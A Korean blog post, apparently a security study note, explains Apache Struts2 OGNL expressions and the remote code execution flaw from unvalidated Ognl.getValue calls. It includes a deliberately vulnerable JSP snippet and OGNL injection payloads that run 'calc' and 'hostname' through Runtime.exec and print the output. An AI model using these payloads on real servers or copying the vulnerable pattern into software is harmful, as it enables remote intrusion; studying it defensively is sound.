티스토리 뷰

WEB/-

Apache Struts2

Notchicken 2017. 8. 3. 22:02

Apache Struts2


OGNL (Object Graph Navigation Language)

-> 밸류스택에 저장된 여러 액션 객체의 정보를 얻어옴.

(struts2에서는 액션이 실행될 때마다 액션이 스택에 저장됨)



표현식 예시)

아이디: <input type="text" name="userid" value="${userid}"/>

<s:textfield label="아이디" name="userid" value="%{userid}"/>



OGNL 참조객체 (#로 참조)

 application

session

value stack

request

parameters

attribute


ex) 세션맵의 유저 참조: <s:property value = "#session.user"/>

ex) 밸류스택 사용: <s:property value = "username"/>



<Apache Struts2 취약점>

Apache Struts2 취약점의 대부분이 표현식 평가부분에서 발생함.

그 함수중 하나가 ognl.getValue()



 [취약한 코드]

 <%

    string param = request.getParameter("p");

     OgnlContext ctx = new OgnlContext();

     Object value = Ognl.getValue(param, ctx, "");

 %>

 <%= value %>



get 파라미터 값을 Ognl.getValue 에서 검증없이 명령어를 실행하여 원격코드실행이 가능함.



 [계산기 원격 실행]


 ~.jsp?p=@java.lang.Runtime@getRuntime().exec('calc') 


 [원격실행 결과 출력]


 ~.jsp?p=@org.apache.Struts2.ServletActionContext@getResponse().getWriter().

 (@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('hostname').getInputStream())


 getRuntime으로 운영체제 명령 실행 -> getInputStream으로 결과값 받아옴 -> toString으로 형변환 -> getWriter로 출력




'WEB > -' 카테고리의 다른 글

LIKE문을 이용한 Blind SQL Injection  (0) 2018.06.29
웹 취약점 점검항목 28개  (0) 2017.08.03
Lucy-XSS Filter  (0) 2017.06.21
PreparedStatement 가 인젝션에 안전한 이유  (0) 2017.06.13
웹 취약점 및 대응방안  (0) 2017.06.12
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday